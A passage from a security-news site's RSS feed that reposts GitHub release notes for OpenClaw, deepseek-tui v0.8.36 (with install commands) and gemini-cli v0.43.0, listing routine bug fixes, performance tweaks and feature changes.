<li>Agents/exec: preserve inherited XDG base-directory environment values for subprocesses while still rejecting agent-supplied XDG overrides. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492278181" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84854" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84854/hovercard" href="https://github.com/openclaw/openclaw/issues/84854">#84854</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498820649" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85139" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85139/hovercard" href="https://github.com/openclaw/openclaw/pull/85139">#85139</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Node/Linux: keep <code>OPENCLAW_GATEWAY_TOKEN</code> out of generated systemd unit files by writing node service token values to a node-specific env file. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482764578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84408/hovercard" href="https://github.com/openclaw/openclaw/pull/84408">#84408</a>)</li>
<li>Memory-core/dreaming: reuse stable narrative subagent session keys per workspace and phase while keeping per-run idempotency and bounded cleanup, so stale <code>dreaming-narrative-*</code> sessions do not accumulate. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4284837574" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68252" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68252/hovercard" href="https://github.com/openclaw/openclaw/issues/68252">#68252</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4293065762" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69187" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69187/hovercard" href="https://github.com/openclaw/openclaw/issues/69187">#69187</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4312560097" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70402" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70402/hovercard" href="https://github.com/openclaw/openclaw/issues/70402">#70402</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313300565" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70464" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70464/hovercard" href="https://github.com/openclaw/openclaw/pull/70464">#70464</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chiyouYCH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chiyouYCH">@chiyouYCH</a>.</li>
<li>Trajectory/support: tolerate partial skill snapshot entries when building support metadata so rejected skill path scans no longer abort trajectory capture. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4324624469" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71185" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71185/hovercard" href="https://github.com/openclaw/openclaw/pull/71185">#71185</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lukeboyett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lukeboyett">@lukeboyett</a>.</li>
<li>TUI: coalesce repeated idle Esc abort notices into a single <code>no active run xN</code> system row instead of appending duplicate rows.</li>
<li>Telegram: honor <code>channels.telegram.pollingStallThresholdMs</code> in the default isolated polling path, restarting silent workers instead of leaving inbound updates wedged. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474114528" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83950" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83950/hovercard" href="https://github.com/openclaw/openclaw/issues/83950">#83950</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492438443" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84861" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84861/hovercard" href="https://github.com/openclaw/openclaw/pull/84861">#84861</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram: dedupe replayed message dispatches by Telegram chat/message identity so isolated-ingress replays do not trigger duplicate model dispatches. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493044796" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84886" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84886/hovercard" href="https://github.com/openclaw/openclaw/issues/84886">#84886</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499730658" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85208" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85208/hovercard" href="https://github.com/openclaw/openclaw/pull/85208">#85208</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Slack: suppress reasoning payloads before reply delivery and dispatch accounting, so Slack monitor, slash-command, fallback, and direct reply paths do not leak model reasoning. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481035938" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84319" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84319/hovercard" href="https://github.com/openclaw/openclaw/issues/84319">#84319</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481083191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84322" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84322/hovercard" href="https://github.com/openclaw/openclaw/pull/84322">#84322</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ffluk3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ffluk3">@ffluk3</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Slack: deliver native plugin approval prompts and updates when Slack native approvals are enabled, while keeping plugin approval authorization separate from exec approvers.</li>
<li>Slack: keep native plugin approval prompts in the originating app conversation thread when the live Slack turn source is a <code>D...</code> conversation.</li>
<li>Agents/Pi: disable the embedded pi-coding-agent runtime auto-retry so OpenClaw's own retry and failover loop does not replay failed tool calls through a nested SDK retry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345792398" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73781" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73781/hovercard" href="https://github.com/openclaw/openclaw/issues/73781">#73781</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351648711" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74434" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74434/hovercard" href="https://github.com/openclaw/openclaw/pull/74434">#74434</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yelog/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yelog">@yelog</a>.</li>
<li>CLI/perf: keep <code>setup --help</code>, <code>onboard --help</code>, and <code>configure --help</code> out of the full wizard runtime while preserving the existing help output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484116150" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84488" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84488/hovercard" href="https://github.com/openclaw/openclaw/pull/84488">#84488</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>CLI/perf: keep <code>agents --help</code> out of agents action/runtime imports so help, completion, and command discovery paths avoid loading the full agents runtime. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484034054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84483/hovercard" href="https://github.com/openclaw/openclaw/pull/84483">#84483</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>CLI/perf: keep <code>secrets --help</code> and <code>nodes --help</code> on the precomputed help path so parent help avoids loading action-heavy command runtime modules. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491951847" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84818" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84818/hovercard" href="https://github.com/openclaw/openclaw/pull/84818">#84818</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>CLI/perf: serve <code>doctor</code>, <code>gateway</code>, <code>models</code>, and <code>plugins</code> parent help from startup metadata so common subcommand help avoids full CLI program construction. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491522584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84786" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84786/hovercard" href="https://github.com/openclaw/openclaw/pull/84786">#84786</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>Codex/Lossless: keep context-engine history on the canonical run session when Telegram DMs use per-peer runtime policy keys. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494202248" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84936" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84936/hovercard" href="https://github.com/openclaw/openclaw/issues/84936">#84936</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494744767" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84954" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84954/hovercard" href="https://github.com/openclaw/openclaw/pull/84954">#84954</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Codex: keep heartbeat response tool schemas durable without exposing dynamic tools disabled by turn policy, so heartbeat wakeups can reuse threads while scoped tool allowlists stay enforced. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4489377860" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84681" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84681/hovercard" href="https://github.com/openclaw/openclaw/pull/84681">#84681</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jalehman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jalehman">@jalehman</a>.</li>
<li>Auth/OAuth: skip the refresh adapter when a stored OAuth credential has no refresh token so agent turns fail fast on missing-key instead of waiting on the 120s refresh timeout. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Auth/Codex: load legacy OAuth sidecar credentials in the embedded runner's secrets-runtime auth loaders so Telegram replies, cron-triggered turns, and other isolated sub-agent lanes can reach the existing <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465275872" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83312" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83312/hovercard" href="https://github.com/openclaw/openclaw/pull/83312">#83312</a> refresh-and-rewrite migration instead of failing with <code>No API key found for provider "openai-codex"</code> until the user runs <code>openclaw doctor</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Totalsolutionsync/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Totalsolutionsync">@Totalsolutionsync</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Codex/failover: classify <code>deactivated_workspace</code> as a permanent auth failure so configured fallback models can advance when a Codex workspace is deactivated. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4154052542" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55893" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/55893/hovercard" href="https://github.com/openclaw/openclaw/pull/55893">#55893</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/litang9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/litang9">@litang9</a>.</li>
<li>Exec: keep configured <code>tools.exec.pathPrepend</code> entries ahead of user shell startup PATH changes on POSIX gateway runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4437943475" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81403" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81403/hovercard" href="https://github.com/openclaw/openclaw/pull/81403">#81403</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/medns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/medns">@medns</a>.</li>
<li>Gateway/sessions: allow shared-secret bearer callers to read and stream session history without an explicit scope header. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4446205215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81815" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81815/hovercard" href="https://github.com/openclaw/openclaw/pull/81815">#81815</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/medns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/medns">@medns</a>.</li>
<li>Agents/embedded runner: classify HTML auth provider responses as <code>auth_html</code> and return a re-authentication hint instead of the CDN-blocked copy that <code>upstream_html</code> returns. Cloudflare Access login pages, nginx basic-auth challenges, and gateway login walls all produce HTML auth bodies that were previously misdiagnosed as transient CDN blocks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413285415" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79900" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79900/hovercard" href="https://github.com/openclaw/openclaw/pull/79900">#79900</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>TUI/streaming watchdog: dismiss the <code>This response is taking longer than expected</code> notice as soon as a chat event for the same run arrives, so the message no longer sits next to the recovered response when the run was only briefly silent. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4267080618" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67052" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67052/hovercard" href="https://github.com/openclaw/openclaw/issues/67052">#67052</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291861236" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69081" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69081/hovercard" href="https://github.com/openclaw/openclaw/issues/69081">#69081</a> (closed), prior attempt <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291455267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69026" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69026/hovercard" href="https://github.com/openclaw/openclaw/pull/69026">#69026</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpruit20/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpruit20">@jpruit20</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Agents/Pi: tolerate OpenClaw-owned transcript writes while embedded prompts are released for model I/O, keeping long-running Feishu, Slack, Telegram, and cron turns from failing with false session-takeover errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4475877718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84059" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84059/hovercard" href="https://github.com/openclaw/openclaw/issues/84059">#84059</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4479751609" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84250" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84250/hovercard" href="https://github.com/openclaw/openclaw/pull/84250">#84250</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxiaochannel-oss88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxiaochannel-oss88">@tianxiaochannel-oss88</a>.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.8.36]]></title>
<description><![CDATA[Install
Recommended — npm (one command, both binaries)
npm install -g deepseek-tui
The wrapper downloads both binaries from this Release and places them in the same directory.
Docker / GHCR
docker run --rm -it \
  -e DEEPSEEK_API_KEY="$DEEPSEEK_API_KEY" \
  -v ~/.deepseek:/home/deepseek/.deepseek...]]></description>
<link>https://tsecurity.de/de/3542474/downloads/v0836/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3542474/downloads/v0836/</guid>
<pubDate>Sat, 23 May 2026 21:01:03 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Install</h2>
<h3>Recommended — npm (one command, both binaries)</h3>
<div class="highlight highlight-source-shell notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="npm install -g deepseek-tui"><pre>npm install -g deepseek-tui</pre></div>
<p>The wrapper downloads both binaries from this Release and places them in the same directory.</p>
<h3>Docker / GHCR</h3>
<div class="highlight highlight-source-shell notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content='docker run --rm -it \
  -e DEEPSEEK_API_KEY="$DEEPSEEK_API_KEY" \
  -v ~/.deepseek:/home/deepseek/.deepseek \
  ghcr.io/hmbown/deepseek-tui:v0.8.36'><pre>docker run --rm -it \
  -e DEEPSEEK_API_KEY=<span class="pl-s"><span class="pl-pds">"</span><span class="pl-smi">$DEEPSEEK_API_KEY</span><span class="pl-pds">"</span></span> \
  -v <span class="pl-k">~</span>/.deepseek:/home/deepseek/.deepseek \
  ghcr.io/hmbown/deepseek-tui:v0.8.36</pre></div>
<p>The image ships the <code>deepseek</code> dispatcher and <code>deepseek-tui</code> runtime. The <code>latest</code> tag is also updated on release.</p>
<h3>Cargo (Linux / macOS)</h3>
<div class="highlight highlight-source-shell notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="cargo install deepseek-tui-cli deepseek-tui --locked"><pre>cargo install deepseek-tui-cli deepseek-tui --locked</pre></div>
<h3>Manual download</h3>
<p>Both binaries must be downloaded for your platform and dropped into the same directory. See the release assets above.</p>
<hr>
<h2>Changelog: v0.8.36 (2026-05-14)</h2>
<p>A cache-hygiene and UX polish release focused on leaner sub-agent handoffs, sidebar visibility control, and improved RLM batch safety.</p>
<h3>Added</h3>
<ul>
<li><strong>The right sidebar can be hidden for copy-friendly terminals.</strong><br>
<code>sidebar_focus = "hidden"</code> (or <code>Ctrl+Alt+0</code> for the current session) removes<br>
the Work/Tasks/Agents/Context rail so raw terminal selection cannot copy<br>
sidebar borders alongside transcript text.</li>
</ul>
<h3>Changed</h3>
<ul>
<li><strong>Sub-agent completion handoffs are leaner and more cache-friendly.</strong><br>
Internal <code>&lt;deepseek:subagent.done&gt;</code> sentinels now point to the preceding<br>
human summary line instead of duplicating the summary, elapsed time, and<br>
step count inside JSON sent to the parent model.</li>
<li><strong>Prefix stability is visible beside cache telemetry by default.</strong> The<br>
footer now includes the prefix-stability chip in the default status layout,<br>
and low last-request cache hit rates are no longer colored as hard errors<br>
when the system/tool prefix itself is stable.</li>
<li><strong>RLM batch helpers now require an explicit independence assertion.</strong><br>
<code>sub_query_batch</code>, <code>sub_query_map</code>, and low-level <code>*_batched</code> helpers refuse<br>
dependency-unsafe parallel fanout unless callers pass<br>
<code>dependency_mode="independent"</code>, and RLM now exposes <code>sub_query_sequence</code><br>
for A-to-B dependent work.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li><strong>Mutex poisoning handling in InMemoryKeyringStore.</strong> Lock poison errors<br>
are now propagated as <code>SecretsError::Keyring</code> instead of causing panics.</li>
</ul>
<h2>Contributors</h2>
<p>No new external contributors in this release cycle.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.43.0]]></title>
<description><![CDATA[What's Changed

feat(core): steer model to use edit tool for surgical edits, fix a typo by @aishaneeshah in #26480
docs: clarify Auto Memory proposes memory updates and skills by @SandyTao520 in #26527
fix(core): reject numeric project IDs in GOOGLE_CLOUD_PROJECT (#24695) by @Abhijit-2592 in #265...]]></description>
<link>https://tsecurity.de/de/3538112/downloads/release-v0430/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3538112/downloads/release-v0430/</guid>
<pubDate>Fri, 22 May 2026 03:16:38 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>feat(core): steer model to use edit tool for surgical edits, fix a typo by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aishaneeshah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aishaneeshah">@aishaneeshah</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4381087235" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26480" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26480/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26480">#26480</a></li>
<li>docs: clarify Auto Memory proposes memory updates and skills by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SandyTao520/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SandyTao520">@SandyTao520</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386200934" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26527" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26527/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26527">#26527</a></li>
<li>fix(core): reject numeric project IDs in GOOGLE_CLOUD_PROJECT (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4205999296" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/24695" data-hovercard-type="issue" data-hovercard-url="/google-gemini/gemini-cli/issues/24695/hovercard" href="https://github.com/google-gemini/gemini-cli/issues/24695">#24695</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Abhijit-2592/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Abhijit-2592">@Abhijit-2592</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386590454" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26532" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26532/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26532">#26532</a></li>
<li>fix(core): remove unsafe type assertion suppressions in error utils by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/himanshu748/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/himanshu748">@himanshu748</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3973696331" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/19881" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/19881/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/19881">#19881</a></li>
<li>fix(core): allow redirection in YOLO and AUTO_EDIT modes without sandboxing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galz10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galz10">@galz10</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4387119275" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26542" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26542/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26542">#26542</a></li>
<li>ci(release): build and attach unsigned macOS binaries to releases by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ruomengz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ruomengz">@ruomengz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379085704" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26462" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26462/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26462">#26462</a></li>
<li>fix(core): Fix chat corruption bug in context manager. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshualitt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshualitt">@joshualitt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386714086" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26534" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26534/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26534">#26534</a></li>
<li>fix(cli): provide JSON output for AgentExecutionStopped in non-interactive mode by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cynthialong0-0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cynthialong0-0">@cynthialong0-0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4384581644" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26504" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26504/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26504">#26504</a></li>
<li>feat(evals): add shell command safety evals by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akh64bit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akh64bit">@akh64bit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386323563" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26528" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26528/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26528">#26528</a></li>
<li>fix(core): handle invalid custom plans directory gracefully by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cynthialong0-0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cynthialong0-0">@cynthialong0-0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4388207252" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26560" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26560/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26560">#26560</a></li>
